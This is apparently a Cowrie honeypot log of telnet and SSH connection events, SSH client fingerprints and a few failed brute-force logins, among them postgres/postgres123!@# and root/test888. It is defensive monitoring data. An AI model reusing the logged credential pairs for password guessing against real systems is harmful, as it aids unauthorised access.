{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":60798,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d26936cb62","protocol":"telnet","message":"New connection: 66.111.11.103:60798 (159.203.135.109:23) [session: b8d26936cb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.228341Z"}
{"eventid":"cowrie.session.closed","duration":30.543516159057617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.278835Z","src_ip":"66.111.11.103","session":"3bfe1628443a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34110,"dst_ip":"159.203.135.109","dst_port":23,"session":"93f0c7d3aedf","protocol":"telnet","message":"New connection: 66.111.11.103:34110 (159.203.135.109:23) [session: 93f0c7d3aedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.317707Z"}
{"eventid":"cowrie.session.closed","duration":30.711618423461914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.442631Z","src_ip":"66.111.11.103","session":"03638de7316c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25119662284851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.491513Z","src_ip":"66.111.11.103","session":"c4b7fbaa86b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.259146690368652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.495458Z","src_ip":"66.111.11.103","session":"7af481698100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54203724861145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.510859Z","src_ip":"66.111.11.103","session":"6fc9870fa2f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34246,"dst_ip":"159.203.135.109","dst_port":23,"session":"e946175da14f","protocol":"telnet","message":"New connection: 66.111.11.103:34246 (159.203.135.109:23) [session: e946175da14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.694256Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34252,"dst_ip":"159.203.135.109","dst_port":23,"session":"a798170089e4","protocol":"telnet","message":"New connection: 66.111.11.103:34252 (159.203.135.109:23) [session: a798170089e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.701306Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123!@#","message":"login attempt [postgres/postgres123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.720059Z","src_ip":"147.50.231.135","session":"199df4652dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.214654445648193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.893131Z","src_ip":"66.111.11.103","session":"1d02979af5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275978088378906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.015859Z","src_ip":"66.111.11.103","session":"17671500f0fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34504,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ff4c6a9850","protocol":"telnet","message":"New connection: 66.111.11.103:34504 (159.203.135.109:23) [session: 30ff4c6a9850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.194109Z"}
{"eventid":"cowrie.session.closed","duration":30.4727144241333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.198987Z","src_ip":"66.111.11.103","session":"38220b9d0568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195926904678345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.437894Z","src_ip":"66.111.11.103","session":"e5d8f0dd3e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11299228668213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.568031Z","src_ip":"66.111.11.103","session":"4a9d753a4463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03417420387268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.979230Z","src_ip":"66.111.11.103","session":"c36e3649990d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:52.989479Z","src_ip":"147.50.231.135","session":"199df4652dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.231837034225464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:53.285738Z","src_ip":"66.111.11.103","session":"2b028cae25bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":35228,"dst_ip":"159.203.135.109","dst_port":23,"session":"deca4209571d","protocol":"telnet","message":"New connection: 66.111.11.103:35228 (159.203.135.109:23) [session: deca4209571d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:53.775990Z"}
{"eventid":"cowrie.session.closed","duration":31.744950532913208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:53.846503Z","src_ip":"66.111.11.103","session":"ae93b8ee87e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53942,"dst_ip":"159.203.135.109","dst_port":23,"session":"270e40cb4a98","protocol":"telnet","message":"New connection: 134.209.8.29:53942 (159.203.135.109:23) [session: 270e40cb4a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:54.229733Z"}
{"eventid":"cowrie.session.closed","duration":30.052435636520386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:55.114925Z","src_ip":"66.111.11.103","session":"d6e31ef3d91a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.155954122543335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:55.224690Z","src_ip":"66.111.11.103","session":"f16c6fe14c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8a4ac7f38bb","protocol":"telnet","message":"New connection: 134.209.8.29:53946 (159.203.135.109:23) [session: a8a4ac7f38bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:55.763811Z"}
{"eventid":"cowrie.session.closed","duration":31.166991710662842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:55.775121Z","src_ip":"66.111.11.103","session":"c857af4a52f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":35722,"dst_ip":"159.203.135.109","dst_port":23,"session":"13de89949116","protocol":"telnet","message":"New connection: 66.111.11.103:35722 (159.203.135.109:23) [session: 13de89949116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:55.836742Z"}
{"eventid":"cowrie.session.closed","duration":31.813312768936157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:55.995626Z","src_ip":"66.111.11.103","session":"d5b3c23ce710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":36372,"dst_ip":"159.203.135.109","dst_port":23,"session":"b19c29374177","protocol":"telnet","message":"New connection: 66.111.11.103:36372 (159.203.135.109:23) [session: b19c29374177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:56.041186Z"}
{"eventid":"cowrie.session.closed","duration":30.716482162475586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:56.229927Z","src_ip":"66.111.11.103","session":"e91d0be1d55d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150526762008667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:56.355406Z","src_ip":"66.111.11.103","session":"7c6573a98614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256548166275024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:56.532654Z","src_ip":"66.111.11.103","session":"8cb082c1a139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15129017829895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:56.644290Z","src_ip":"66.111.11.103","session":"67c48343d398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":36910,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d51604b08e9","protocol":"telnet","message":"New connection: 66.111.11.103:36910 (159.203.135.109:23) [session: 8d51604b08e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:56.881172Z"}
{"eventid":"cowrie.session.closed","duration":30.99112868309021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:57.523726Z","src_ip":"66.111.11.103","session":"fe6debd1cacf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.481467485427856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:57.845347Z","src_ip":"66.111.11.103","session":"c91a34f4a7a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91079878807068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:57.973837Z","src_ip":"66.111.11.103","session":"e77acd6de530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":35974,"dst_ip":"159.203.135.109","dst_port":23,"session":"133d09eb77ad","protocol":"telnet","message":"New connection: 66.111.11.103:35974 (159.203.135.109:23) [session: 133d09eb77ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:58.302444Z"}
{"eventid":"cowrie.session.closed","duration":31.16019344329834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:58.367162Z","src_ip":"66.111.11.103","session":"b2fda906290e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":36082,"dst_ip":"159.203.135.109","dst_port":23,"session":"61286eb1fce5","protocol":"telnet","message":"New connection: 66.111.11.103:36082 (159.203.135.109:23) [session: 61286eb1fce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:58.501028Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":36314,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d29b4fe868","protocol":"telnet","message":"New connection: 66.111.11.103:36314 (159.203.135.109:23) [session: f6d29b4fe868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:58.913415Z"}
{"eventid":"cowrie.session.closed","duration":10.167677879333496,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:59.651034Z","src_ip":"134.209.8.29","session":"7353b063ff1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":38526,"dst_ip":"159.203.135.109","dst_port":23,"session":"086dfd5541fe","protocol":"telnet","message":"New connection: 66.111.11.103:38526 (159.203.135.109:23) [session: 086dfd5541fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:59.938393Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":59156,"dst_ip":"10.17.0.5","dst_port":22,"session":"34fcfaab0312","protocol":"ssh","message":"New connection: 148.216.28.11:59156 (10.17.0.5:22) [session: 34fcfaab0312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:59.945444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:59.950119Z","src_ip":"148.216.28.11","session":"34fcfaab0312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:00.018290Z","src_ip":"148.216.28.11","session":"34fcfaab0312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":38594,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0a455b9e74","protocol":"telnet","message":"New connection: 66.111.11.103:38594 (159.203.135.109:23) [session: ac0a455b9e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:00.121042Z"}
{"eventid":"cowrie.session.closed","duration":30.708174467086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:00.312075Z","src_ip":"66.111.11.103","session":"9a961fccfd64","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test888","message":"login attempt [root/test888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:00.321960Z","src_ip":"148.216.28.11","session":"34fcfaab0312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.011382341384888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:00.374212Z","src_ip":"66.111.11.103","session":"a218898dc995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.336668729782104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:01.187046Z","src_ip":"66.111.11.103","session":"32217c18c93b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:01.392590Z","src_ip":"148.216.28.11","session":"34fcfaab0312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80398464202881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:01.829469Z","src_ip":"66.111.11.103","session":"7cb3513d0d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.186349391937256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:02.250410Z","src_ip":"66.111.11.103","session":"8d1fb5907f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18687343597412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:02.390516Z","src_ip":"66.111.11.103","session":"426ea21949d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":39616,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a40f9424333","protocol":"telnet","message":"New connection: 66.111.11.103:39616 (159.203.135.109:23) [session: 9a40f9424333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:03.125946Z"}
{"eventid":"cowrie.session.closed","duration":30.934626579284668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:03.308648Z","src_ip":"66.111.11.103","session":"f25ce5c2278f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":40388,"dst_ip":"159.203.135.109","dst_port":23,"session":"1036ca73d068","protocol":"telnet","message":"New connection: 66.111.11.103:40388 (159.203.135.109:23) [session: 1036ca73d068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:03.395492Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":55676,"dst_ip":"10.17.0.5","dst_port":22,"session":"dca9f5615023","protocol":"ssh","message":"New connection: 150.95.157.171:55676 (10.17.0.5:22) [session: dca9f5615023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:03.498036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:03.507568Z","src_ip":"150.95.157.171","session":"dca9f5615023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:03.665726Z","src_ip":"150.95.157.171","session":"dca9f5615023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.238890886306763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:04.275983Z","src_ip":"66.111.11.103","session":"93214a89a36b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123!@#","message":"login attempt [postgres/postgres123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:04.284675Z","src_ip":"150.95.157.171","session":"dca9f5615023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.38004994392395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:04.524819Z","src_ip":"66.111.11.103","session":"321c685eb37d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52005171775818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:04.546582Z","src_ip":"66.111.11.103","session":"992be1ad78be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108518600463867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:04.794100Z","src_ip":"66.111.11.103","session":"97de24875e4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121022939682007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:04.802642Z","src_ip":"66.111.11.103","session":"6b16e3f43720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":41082,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f7449cced4","protocol":"ssh","message":"New connection: 165.22.63.98:41082 (159.203.135.109:22) [session: 58f7449cced4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.001522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.018454Z","src_ip":"165.22.63.98","session":"58f7449cced4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.262931Z","src_ip":"165.22.63.98","session":"58f7449cced4","protocol":"ssh"}
